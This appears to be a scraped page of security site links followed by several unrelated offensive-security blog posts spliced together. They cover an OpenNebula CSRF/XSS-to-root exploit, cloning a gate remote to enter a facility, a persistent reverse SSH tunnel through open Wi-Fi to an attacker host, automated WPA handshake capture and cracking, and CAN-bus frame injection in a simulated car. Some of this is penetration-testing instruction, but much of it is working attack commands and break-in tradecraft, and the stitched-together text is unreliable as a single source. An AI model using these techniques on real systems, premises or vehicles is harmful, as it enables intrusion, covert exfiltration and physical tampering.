Hacked Gadgets: A resource for DIY project documentation as well as general gadget and technology news.
SecTools.Org: List of 75 security tools based on a 2003 vote by hackers.
Offensive Security Training: Developers of Kali Linux and Exploit DB, and the creators of the Metasploit Unleashed and Penetration Testing with Kali Linux course.
Metasploit: Find security issues, verify vulnerability mitigations & manage security assessments with Metasploit. Get the worlds best penetration testing software now.
Exploit DB: An archive of exploits and vulnerable software by Offensive Security. The site collects exploits from submissions and mailing lists and concentrates them in a single database.
Hakin9: E-magazine offering in-depth looks at both attack and defense techniques and concentrates on difficult technical issues.
NFOHump: Offers up-to-date .NFO files and reviews on the latest pirate software releases.
Packet Storm: Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.
Black Hat: The Black Hat Briefings have become the biggest and the most important security conference series in the world by sticking to our core value: serving the information security community by delivering timely, actionable security information in a friendly, vendor-neutral environment.
Hack Forums: Emphasis on white hat, with categories for hacking, coding and computer security.
DEFCON: Information about the largest annual hacker convention in the US, including past speeches, video, archives, and updates on the next upcoming show as well as links and other details.
HackRead: HackRead is a News Platform that centers on InfoSec, Cyber Crime, Privacy, Surveillance, and Hacking News with full-scale reviews on Social Media Platforms.
SecurityFocus: Provides security information to all members of the security community, from end users, security hobbyists and network administrators to security consultants, IT Managers, CIOs and CSOs.
The Hacker News: The Hacker News — most trusted and widely-acknowledged online cyber security news magazine with in-depth technical coverage for cybersecurity.
KitPloit: Leading source of Security Tools, Hacking Tools, CyberSecurity and Network Security.
Makezine: Magazine that celebrates your right to tweak, hack, and bend any technology to your own will.
In this post, we show a proof-of-concept attack that gives us root access to a victim's VM in the Cloud Management Platform OpenNebula, which means that we can read and write all its data, install software, etc. The interesting thing about the attack is, that it allows an attacker to bridge the gap between the cloud's high-level web interface and the low-level shell-access to a virtual machine. Like the latest blogpost of this series, this is a post about an old CSRF- and XSS-vulnerability that dates back to 2014. However, the interesting part is not the vulnerability itself but rather the exploit that we were able to develop for it.
An attacker needs the following information for a successful attack.
ID of the VM to attack OpenNebula's VM ID is a simple global integer that is increased whenever a VM is instantiated. The attacker may simply guess the ID. Once the attacker can execute JavaScript code in the scope of Sunstone, it is possible to use OpenNebula's API and data structures to retrieve this ID based on the name of the desired VM or its IP address.
Operating system & bootloader There are various ways to get to know a VMs OS, apart from simply guessing. For example, if the VM runs a publicly accessible web server, the OS of the VM could be leaked in the HTTP-Header Server (see RFC 2616). Another option would be to check the images or the template the VM was created from. Usually, the name and description of an image contains information about the installed OS, especially if the image was imported from a marketplace. Since most operating systems are shipped with a default bootloader, making a correct guess about a VMs bootloader is feasible. Even if this is not possible, other approaches can be used (see below).
Keyboard layout of the VM's operating system As with the VMs bootloader, making an educated guess about a VM's keyboard layout is not difficult. For example, it is highly likely that VMs in a company's cloud will use the keyboard layout of the country the company is located in.
Overview of the Attack
The key idea of this attack is that neither Sunstone nor noVNC check whether keyboard related events were caused by human input or if they were generated by a script. This can be exploited so that gaining root access to a VM in OpenNebula requires five steps:
Using CSRF, a persistent XSS payload is deployed.
The XSS payload controls Sunstone's API.
The noVNC window of the VM to attack is loaded into an iFrame.
The VM is restarted using Sunstone's API.
Keystroke-events are simulated in the iFrame to let the bootloader open a root shell.
Figure 1: OpenNebula's Sunstone Interface displaying the terminal of a VM in a noVNC window.
The following sections give detailed information about each step.
Executing Remote Code in Sunstone
In Sunstone, every account can choose a display language. This choice is stored as an account parameter (e.g. for English LANG=en_US). In Sunstone, the value of the LANG parameter is used to construct a <script> tag that loads the corresponding localization script. For English, this creates the following tag:
Setting the LANG parameter to a different string directly manipulates the path in the script tag. This poses an XSS vulnerability. By setting the LANG parameter to LANG="onerror=alert(1)//, the resulting script tag looks as follows:
For the web browser, this is a command to fetch the script locale/ from the server. However, this URL points to a folder, not a script. Therefore, what the server returns is no JavaScript. For the browser, this is an error, so the browser executes the JavaScript in the onerror statement: alert(1). The rest of the line (including the second alert(1)) is treated as comment due to the forward slashes.
When a user updates the language setting, the browser sends an XMLHttpRequest of the form
to the server (The original request contains more parameters. Since these parameters are irrelevant for the technique, we omitted them for readability.). Forging a request to Sunstone from some other web page via the victim's browser requires a trick since one cannot use an XMLHttpRequest due to restrictions enforced by the browser's Same-Origin-Policy. Nevertheless, using a self-submitting HTML form, the attacker can let the victim's browser issue a POST request that is similar enough to an XMLHttpRequest so that the server accepts it.
An HTML form field like
<inputname='deliver'value='attacker'/>
is translated to a request in the form of deliver=attacker. To create a request changing the user's language setting to en_US, the HTML form has to look like
Notice that the equals sign in LANG=\"en_US\" is inserted by the browser because of the name=value format.
Figure 2: OpenNebula's Sunstone Interface displaying a user's attributes with the malicious payload in the LANG attribute.
Using this trick, the attacker sets the LANG parameter for the victim's account to "onerror=[remote code]//, where [remote code] is the attacker's exploit code. The attacker can either insert the complete exploit code into this parameter (there is no length limitation) or include code from a server under the attacker's control. Once the user reloads Sunstone, the server delivers HTML code to the client that executes the attacker's exploit.
Prepare Attack on VM
Due to the overwritten language parameter, the victim's browser does not load the localization script that is required for Sunstone to work. Therefore, the attacker achieved code execution, but Sunstone breaks and does not work anymore. For this reason, the attacker needs to set the language back to a working value (e.g. en_US) and reload the page in an iFrame. This way Sunstone is working again in the iFrame, but the attacker can control the iFrame from the outside. In addition, the attack code needs to disable a watchdog timer outside the iFrame that checks whether Sunstone is correctly initialized.
From this point on, the attacker can use the Sunstone API with the privileges of the victim. This way, the attacker can gather all required information like OpenNebula's internal VM ID and the keyboard layout of the VM's operating system from Sunstone's data-structures based on the name or the IP address of the desired VM.
Compromising a VM
Using the Sunstone API the attacker can issue a command to open a VNC connection. However, this command calls window.open, which opens a new browser window that the attacker cannot control. To circumvent this restriction, the attacker can overwrite window.open with a function that creates an iFrame under the attacker's control.
Once the noVNC-iFrame has loaded, the attacker can send keystrokes to the VM using the dispatchEvent function. Keystrokes on character keys can be simulated using keypress events. Keystrokes on special keys (Enter, Tab, etc.) have to be simulated using pairs of keydown and keyup events since noVNC filters keypress events on special keys.
Getting Root Access to VM
To get root access to a VM the attacker can reboot a victim's VM using the Sunstone API and then control the VM's bootloader by interrupting it with keystrokes. Once the attacker can inject commands into the bootloader, it is possible to use recovery options or the single user mode of Linux based operating systems to get a shell with root privileges. The hardest part with this attack is to get the timing right. Usually, one only has a few seconds to interrupt a bootloader. However, if the attacker uses the hard reboot feature, which instantly resets the VM without shutting it down gracefully, the time between the reboot command and the interrupting keystroke can be roughly estimated.
Even if the bootloader is unknown, it is possible to use a try-and-error approach. Since the variety of bootloaders is small, one can try for one particular bootloader and reset the machine if the attack was unsuccessful. Alternatively, one can capture a screenshot of the noVNC canvas of the VM a few seconds after resetting the VM and determine the bootloader.
A video of the attack can be seen here. The browser on the right hand side shows the victim's actions. A second browser on the left hand side shows what is happening in OpenNebula. The console window on the bottom right shows that there is no user-made keyboard input while the attack is happening.
Bob was tasked to break into XYZcorporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look.
Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically.Interestingly there was some kind of wireless technology in use.
How do we go from watching a car go through a gate, to having a physical device that opens the gate?
We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal.Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack.
In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious.
Recon:
Lets first use the scanning functionality in RFCrack to find known frequencies. Weneed to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.
Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations.
RFCrack Scanning:
Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals.If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance.
Currently Scanning: 433000000 To cancel hit enter and wait a few seconds
Example of logging output:
From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory.For example the following captures were found in the log file in an easily parseable format:
Analyzing the signal to determine toggle switches:
Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious.Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route.
The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below.
Let RFCrack Plot the Signal For you:
The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you.This saves time and allows you to use only one piece of hardware for all of the work.This can easily be done with the following command:
From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above:
Possible toggle switch scenarios:
down down up up up down down down down
up up down down down up up up up
Configuring a remote:
Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal.In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.
Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal.
Comparing Signals:
This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.
Note:Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz.
In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack:
Open up 2 terminals and use the following commands:
#Setup a sniffer on 390mhz Setup sniffer:python RFCrack.py -k -c -f 390000000.
#Monitor the log file, and provide the gates original signal Setup Analysis: python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.
Cmd switches used
-k = known frequency
-c = compare mode
-f = frequency
-n = no yardstick needed for analysis
Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)
Analyze Your Clicks:
Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output.If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on.We don't care about those signals since they don't pertain to our target.
At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match.It will always graph the highest percentage within a click.Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data.
You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test.
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.05
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.12
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.14
Percent Chance of Match for press is: 0.20
Percent Chance of Match for press is: 0.19
Percent Chance of Match for press is: 0.25
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
----------Start Signals In Press--------------
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.93
Percent Chance of Match for press is: 0.97
Percent Chance of Match for press is: 0.90
Percent Chance of Match for press is: 0.88
Percent Chance of Match for press is: 0.44
----------End Signals In Press------------
For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png
Graph Comparison Output for 97% Match:
Conclusion:
You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack.This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyzeRF signals within embedded devices. There are many scenarios these same techniques could assist in.We also covered a few new features in RF crack regarding logging, graphing and comparing signals.These are just a few of the features which have been added since the initial release. For more info and other features check the wiki.
Often times I find unprotected wireless access points with unfettered access to the internet for research or guest access purposes. This is generally through an unauthenticated portal or a direct cable connection. When questioning the business units they explain a low value network, which is simply a internet pass thru separate from the internal network. This sounds reasonable and almost plausible however I usually explain the dangers of having company assets on an unprotected Wi-Fi and the dangers of client side exploits and MITM attacks. But there are a few other plausible scenarios one should be aware of that may scare you a bit more then the former discussion.
What about using OpenWifi as a backchannel data exfiltration medium?
An open Wi-Fi is a perfect data exfiltration medium for attackers to completely bypass egress filtering issues, DLP, proxy filtering issues and a whole bunch of other protection mechanisms in place to keep attackers from sending out shells and moving data between networks. This can easily be accomplished via dual homing your attack host utilizing multiple nic cards which are standard on almost all modern machines. Whether this is from physical access breach or via remote compromise the results can be deadly. Below are a few scenarios, which can lead to undetectable data exfiltration.
Scenario 1: (PwnPlug/Linux host with Wi-Fi adaptor) The first useful scenario is when a physical perimeter has been breached and a small device from http://pwnieexpress.com/ known as a pwn-plug is installed into the target network or a linux host with a wireless card. I usually install pwn-plug's inside a closet or under a desk somewhere which is not visible and allows a network connection out to an attacker owned host. Typically its a good idea to label the small device as "IT property and Do Not Remove". This will keep a casual user from removing the device. However if there is network egress and proxy filtering present then our network connection may never reach a remote host. At this point your physical breach to gain network access to an impenetrable network perimeter will fail. Unless there happens to be an open cable Wi-Fi connection to an "inconsequential R&D network".
By simply attaching an Alpha card to the pwnplug you can connect to the R&D wireless network. You can then use this network as your outgoing connection and avoid corporate restrictions regarding outbound connections via metasploit or ssh. I have noticed that most clients these days are running heavy egress filtering and packet level protocol detection, which stops outbound connections. Rather then play the obfuscation game i prefer to bypass the restrictions all together using networks which have escaped corporate policy.
You can automate the following via a script if you wardrive the facility prior to entrance and gain insight into the open wireless network, or you can also configure the plug via serial connection on site provided you have time.
Connect to wifi: ifconfig wlan0 up iwconfig wlan0 essid [targetNetworkSSID] dhclient wlan0
Run a reverse SSH tunnel: ssh -R 3000:127.0.0.1:22 root@remoteHost.com
On the remote host you can retrieve your shell: ssh -p 3000 User@localhost
Once you have authenticated with the pwnplug via your local host port forward you now have access into the internal network via an encrypted tunnel which will not be detected and fully bypass any corporate security restrictions. You can take this a bit further and setup some persistence in case the shell goes down.. This can be done via bash and nohup if you setup some ssh keys to handle authentication.. One example could be the following script:
Your bash script: #--------------------- #!/bin/bash while true do ssh -R 3000:127.0.0.1:22 root@remoteHost.com sleep 10 done #---------------------
Run this with nohup like this: nohup ./shell.sh &
Another simple way would be to setup a cron job to run a script with your ssh command on a specified interval for example every 5 minutes like so:
Cron job for every 5 minutes: */5 * * * * /shell.sh
Scenario 2: (Remote Windows Compromise) The second scenario is that of a compromised modern windows machine with a wireless card, this can be used to make a wireless connection outbound similar to the first scenario which will bypass restrictions by accessing an unrestricted network. As shown in "Vista Power Tools" paper written by Josh Wright you can use modern windows machines cards via the command line. http://www.inguardians.com/pubs/Vista_Wireless_Power_Tools-Wright.pdf
Below are the commands to profile the networks and export a current profile then import a new profile for your target wireless network. Then from there you can connect and use that network to bypass corp restrictions provided that wireless network doesn't have its own restrictions.
Profile Victim machine and extract a wireless profile: netsh wlan show interfaces netsh wlan show networks mode=bssid netsh wlan show profiles netsh wlan export profile name="CorpNetwork"
Then modify that profile to meet the requirements needed for the R&D network and import it into the victim machine.
Upload a new profile and connect to the network: netsh wlan add profile filename="R&D.xml" netsh wlan show profiles netsh wlan connect name="R&D"
If you check out Josh's excellent paper linked above you will also find ways of bridging between ethernet and wireless adaptors along with lots of other ideas and useful information.
I just got thinking the other day of ways to abuse so called guest or R&D networks and started writing down a few ideas based on scenarios which play out time and time again while penetration testing networks and running physical breach attacks. I hear all to often that a cable connection not linked to the corporate network is totally safe and I call bullshit on that.
Airbash is a POSIX-compliant, fully automated WPA PSK handshake capture script aimed at penetration testing. It is compatible with Bash and Android Shell (tested on Kali Linux and Cyanogenmod 10.2) and uses aircrack-ng to scan for clients that are currently connected to access points (AP). Those clients are then deauthenticated in order to capture the handshake when attempting to reconnect to the AP. Verification of a captured handshake is done using aircrack-ng. If one or more handshakes are captured, they are entered into an SQLite3 database, along with the time of capture and current GPS data (if properly configured).
After capture, the database can be tested for vulnerable router models using crackdefault.sh. It will search for entries that match the implemented modules, which currently include algorithms to compute default keys for Speedport 500-700 series, Thomson/SpeedTouch and UPC 7 digits (UPC1234567) routers.
Requirements WiFi interface in monitor mode aircrack-ng SQLite3 openssl for compilation of modules (optional) wlanhc2hcx from hcxtools In order to log GPS coordinates of handshakes, configure your coordinate logging software to log to .loc/*.txt (the filename can be chosen as desired). Airbash will always use the output of cat "$path$loc"*.txt 2>/dev/null | awk 'NR==0; END{print}', which equals to reading all .txt files in .loc/ and picking the second line. The reason for this way of implementation is the functionality of GPSLogger, which was used on the development device. Calculating default keys After capturing a new handshake, the database can be queried for vulnerable router models. If a module applies, the default keys for this router series are calculated and used as input for aircrack-ng to try and recover the passphrase. Compiling Modules The modules for calculating Thomson/SpeedTouch and UPC1234567 (7 random digits) default keys are included in src/ Credits for the code go to the authors Kevin Devine and [peter@haxx.in].
If on Android, you may need to copy the binaries to /system/xbin/ or to another directory where binary execution is allowed. Usage Running install.sh will create the database, prepare the folder structure and create shortlinks to both scripts which can be moved to a directory that is on $PATH to allow execution from any location. After installation, you may need to manually adjust INTERFACE on line 46 in airba.sh. This will later be determined automatically, but for now the default is set to wlan0, to allow out of the box compatibility with bcmon on Android. ./airba.sh starts the script, automatically scanning and attacking targets that are not found in the database. ./crackdefault.sh attempts to break known default key algorithms. To view the database contents, run sqlite3 .db.sqlite3 "SELECT * FROM hs" in the main directory. Update (Linux only ... for now): Airbash can be updated by executing update.sh. This will clone the master branch into /tmp/ and overwrite the local files. Output _n: number of access points found __c/m: represents client number and maximum number of clients found, respectively -: access point is blacklisted x: access point already in database ?: access point out of range (not visible to airodump anymore) The Database The database contains a table called hs with seven columns. id: incrementing counter of table entries lat and lon: GPS coordinates of the handshake (if available) bssid: MAC address of the access point essid: Name identifier psk: WPA Passphrase, if known prcsd: Flag that gets set by crackdefault.sh to prevent duplicate calculation of default keys if a custom passphrase was used. Currently, the SQLite3 database is not password-protected.
"Nemesis is a command-line network packet injection utility for UNIX-like and Windows systems. You might think of it as an EZ-bake packet oven or a manually controlled IP stack. With Nemesis, it is possible to generate and transmit packets from the command line or from within a shell script. Nemesis attacks directed through fragrouter could be a most powerful combination for the system auditor to find security problems that could then be reported to the vendor(s)." read more...
A step by step lab based mini course on analyzing your car network
I wanted to learn about hacking cars. As usual I searched around the internet and didn't find any comprehensive resources on how to do this, just bits and pieces of the same info over and over which is frustrating. I am not a car hacking expert, I just like to hack stuff. This mini course will run in a fully simulated lab environment available from open garages, which means in 5 minutes from now you can follow along and hack cars without ever bricking your girlfriends car. Since you obviously wouldn't attack your own Lambo, totally use your girlfriends Prius.
Below are the topics covered in this blogseries so you can decide if you want to read further:
Whats covered in this car hacking mini course:
Setting up Virtual Environments for testing
Sniffing CAN Traffic
Parsing CAN Traffic
Reverse Engineering CAN IDs
Denial of service attacks
Replaying/Injecting Traffic
Coding your own CAN Socket Tools in python
Targeted attacks against your cars components
Transitioning this to attacking a real car with hardware
The first thing we are going to do before we get into any car hacking specifics such as "WTF is CAN?", is get your lab up and running. We are going to run a simple simulated CAN Bus network which controls various features of your simulated car. Its better to learn by doing then sit here and recite a bunch of car network lingo at you and hope you remember it.
I also don't want you to buy a bunch of hardware and jack into your real car right away. Instead there are options that can get you started hacking cars RIGHT NOW by following along with this tutorial. This will also serve to take away the fear of hacking your actual car by understanding what your doing first.
Video Playlist:
Setting up your Lab:
First things first, set yourself up with an Ubuntu VMware install, and load it up. Optionally you could use a Kali Iinux VM, however, that thing drives me nuts with copy paste issues and I think Kayak was giving me install problems. So support is on you if you would like to use Kali. However, I do know Kali will work fine with OpenGarages virtual car.. So feel free to use it for that if you have it handy and want to get started right away.
Install PreReq Libraries:
Once you load this up you are going to want to install CAN utilities and pre-requisite libraries. This is really easy to do with the following Apt-get commands:
Once this is done we can startup the simulator by changing directories to the downloaded repo and running the following 2 commands, which will setup a virtual CAN interface and a simulator GUI Cluster:
Run the setup Script to get the vcan0 interface up:
root@kali:~/ICSim# ./setup_vcan.sh
root@kali:~/ICSim# ./icsim vcan0
On a new terminal tab we will open up our simulators controller with the following command,
root@kali:~/ICSim#./controls vcan0
Note: that the controller must be the in-focus GUI screen to send keyboard commands to the simulator.
How to Use the Simulator:
The simulator has a speedometer with Right and Left turn signals, doors etc. Below are the list of commands to control the simulator when the Control panel is in focus. Give them each a try and note the changes to the simulator.
Up and Down keys control the gauges clusters speedometer
Left and Right keys Control the Blinkers
Right Shift + X, A or B open doors
Left Shift + X, A or be Close doors
Try a few of the above commands for example Right Shift +X and you will see the interface change like so, notice the open door graphic:
Awesome, thanks to OpenGarages you now you have your very own car to hack
Notice in the setup commands above we used a VCan0 interface. Run Ifconfig and you will now see that you indeed have a new network interface that speaks to the CAN network over VCan0.
ficti0n@ubuntu:~/Desktop/ICSim$ ifconfig vcan0
vcan0 Link encap:UNSPECHWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
Car networks run on a variety of protocols most prevalent being CAN. You can think of a CAN Bus like an old school networking hub where everyone can see everyone elses traffic. This is true to some extent although you may not see all of the cars traffic if its not connected to that particular bus your plugged into. You can think of CAN traffic kind of like UDP in that its send and forget, the main difference being parts of the CAN bus network don't actually have addresses and everything runs off arbitration IDs and priorities. Thats enough background to get you doing rather then reading.
With a little knowledge out of the way lets check if we can see our CAN traffic from our virtual car via the CanDump utility, which you installed as part of CanUtils package above. Using the following command on the vcan0 interface our simulator uses you can view a stream of traffic:
ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0
Above we can see a bunch of CAN frames, and if we perform actions on the vehicle we will see changes to data values in the CanDump output.However this may happen very fast, and we may not be able to see if for example we unlocked our simulators door. This is because things are changing constantly in the cars IDLE state. One single value changing may not stand out enough for us to take notice or may scroll so fast we cant see it.
Capture and Replay CAN Actions:
One option would be to perform an action and replay it, we should see the actions happen again in the replay if the traffic for the action we recorded is on the same bus network our device is plugged into. There are loads of networks within a car and its not guaranteed our network tap for example an OBD2 port plugin is connected to the same network as door we opened.Or the door may not be connected to the network at all depending on your car and its age or how its configured.
Replaying dumps with CanPlayer:
Another useful tool included with CanUtils package is CanPlayer for replaying traffic. If the functionality we are trying to capture is on the same Bus as the adaptor plugged into the car, or in this case our Virtual CAN interface, we can use CanDump to save traffic to a file. We then use CanPlayer to replay the traffic on the network. For example lets run CanDump and open a door and then replay the functionality with CanPlayer.
Lab 1 Steps:
Run CanDump
Right Shift + X to open a door
Cancel CanDump (ctrl+c)
Left Shift + X to close the door
Run can player with the saved dump and it will replay the traffic and open the door
Recording the door opening:(-l for logging)
ficti0n@ubuntu:~/Desktop/ICSim$ candump -l vcan0
Replaying the CanDump file:(use the file your can dump created)
Nice, so if all went well you should see that your door is now open again. If this did not happen when attacking a real car, just try to replay it again. CAN networks are not like TCP/IP, they are more like UDP in that you send out your request and its not expecting a response. So if it gets lost then it gets lost and you have to resend. Perhaps something with higher priority on the network was sending at the time of your replay and your traffic was overshadowed by it.
Interacting with the Can Bus and Reversing Traffic:
So thats cool, but what about actually understanding what is going on with this traffic, CanDump is not very useful for this, is scrolls by to quickly for us to learn much from.Instead we can use CanSniffer with colorized output to show us the bytes within packets that change. Below is an example of CanSniffer Traffic:
You will see 3 fields, Time, IDand Data. Its pretty easy to figure out what these are based on thier name. The most important part for our usage in this blog are the ID and the Data fields.
The ID field is the frame ID which is loosely associated with the device on the network which is effected by the frame being sent. The ID to also determines the priority of the frame on the network.The lower the number of the CAN-ID the higher priority it has on the network and more likely it will be handled first.The data field is the data being sent to change some parameter like unlocking a door or updating output. You will notice that some of the bytes are highlighted RED. The values in red are the values that are changing during the idle state you are currently in.
Determine which ID and Byte controls the throttle:
So with the terminal sniffing window open put the simulator and the controller into the foreground, with the controller being the window you have clicked and selected.Pay attention to the CanSniffer output while hitting the UP ARROW and look for a value that was white but is now Red and increasing in value as the throttle goes up.This might take you a few minutes of paying attention to whats going on to see.
The following 2 pictures show ID 244 in the IDLE state followed by pressing the up button to increase the speed. You will notice a byte has turned red and is increasing in value through a range of HEX values 0-F. It will continue to enumerate through values till it reaches its max speed.
The byte in ID 244 which is changing is the value while the throttle is engaged, so 244 associated in some way with the increasing speed. The throttle speed is a good value to start with as it keeps increasing its value when pressed making it easier to spot while viewing the CanSniffer output.
Singling out Values with Filters:
If you would like to single out the throttle value then click the terminal window and press -000000 followed by the Enter key which will clear out all of the values scrolling. Then press +244 followed by the Enter key which will add back the throttle ID. You can now click the controller again and increase the speed with your Up arrow button without all the noise clouding your view.You will instead as shown below only have ID 244 in your output:
To get back all of the IDs again click the terminal window and input +000000 followed by the Enter key. Now you should see all of the output as before.Essentially 000000 means include everything. But when you put a minus in front of it then it negates everything and clears your terminal window filtering out all values.
Determine Blinker ID:
Now lets figure out another ID for the blinkers. If you hit the left or right arrow with the controls window selected you will notice a whole new ID appears in the list, ID 188 shown in the picture below which is associated with the blinker.
This ID was not listed before as it was not in use within the data output until you pressed the blinker control.Lets single this value out by pressing -000000 followed by +188. Just like in the throttle example your terminal should only show ID 188, initially it will show with 00 byte values.
As you press the left and the right blinker you will see the first Byte change from 00 to 01 or 02. If neither is pressed as in the screenshot above it will be 00. Its kind of hard to have the controller in focus and get a screenshot at the same time but the ID will remain visible as 00 until it times out and disappears from the list when not active. However with it filtered out as above you can get a better view of things and it wont disappear.
Time for YOU to do some Protocol Reversing:
This lab will give you a good idea how to reverse all of the functionality of the car and associate each action with the proper ID and BYTE. This way you can create a map of intended functionality changes you wish to make.Above we have done a few walk throughs with you on how to determine which byte and ID is associated with an action. Now its time to map everything out yourself with all the remaining functionality before moving on to attacking individual components.
Lab Work Suggestion:
Take out a piece of paper and a pencil
Try unlocking and locking doors and write down the ID which controls this action (remember your filters)
Try unlocking each door and write down the BYTES needed for each door to open
Try locking each doors and what Bytes change and what are their values, write them down
Do the same thing for the blinkers left and right (Might be different then what I did above)
What ID is the speedometer using?What byte changes the speed?
Attacking Functionality Directly:
With all of the functionality mapped out we can now try to target various devices in the network directly without interacting with the controllers GUI. Maybe we broke into the car via cellular OnStar connectionor the center console units BLE connection which was connected to the CAN network in some way. After an exploit we have direct access to the CAN network and we would like to perform actions. Or maybe you have installed a wireless device into an OBD2 port under the dashboard you have remote access to the automobile.
Using the data from the CAN network reversing lab above we can call these actions directly with the proper CAN-ID and Byte.Since we are remote to the target we can't just reach over and grab the steering wheel or hit the throttle we will instead send your CAN frame to make the change.
One way we can do this is via the CanSend utility. Lets take our information from our lab above and make the left turn signal flash with the following ID 188 for the turn signal by changing the first byte to 01 indicating the left signal is pressed. CanSend uses the format ID#Data. You will see this below when sending the turn signal via CanSend.
You should have noticed that the left signal flashed. If not pay more attention and give it another try or make sure you used the correct ID and changed the correct byte.So lets do the same thing with the throttle and try to set the speed to something with ID 244 that we determined was the throttle.
My guess is that nothing happened because its so fast the needle is not going to jump to that value. So instead lets try repeating this over and over again with a bash loop which simply says that while True keep sending the throttle value of 11 which equates to about 30mph:
ficti0n@ubuntu:~/Desktop/ICSim$ while true; do cansend vcan0 244#00000011F6;done
Yes thats much better, you may notice the needle jumping back and forth a bit. The reason the needle is bouncing back and forth is because the normal CAN traffic is sent telling the car its actually set to 00 in between your frames saying its 30mph.But it worked and you have now changed the speed the car sees and you have flashed the blinker without using the cars normal blinker controls. Pretty cool right?
Monitor the CAN Bus and react to it:
Another way to handle this issue is to monitor the CAN network and when it sees an ID sent it will automatically send the corresponding ID with a different value.. Lets give that a try to modify our speed output by monitoring for changes. Below we are simply running CanDump and parsing for ID 244 in the log output which is the throttle value that tells the car the speed. When a device in the car reports ID 244 and its value we will immediately resend our own value saying the speed is 30mph with the value 11.See below command and try this out.
ficti0n@ubuntu:~/Desktop/ICSim$ candump vcan0 | grep " 244 " | while read line; do cansend vcan0 244#00000011F6; done
With this running after a few seconds you will see the speed adjust to around 30MPH once it captures a legitimate CAN-ID 244 from the network traffic and sends its own value right after.
Ok cool, so now while the above command is still running click the controller window and start holding down the Up arrow with the controller in focus.. After a few seconds or so when the speed gets above 30MPH you will see the needle fighting for the real higher value and adjusting back to 30MPH as your command keeps sending its on value as a replacement to the real speed.
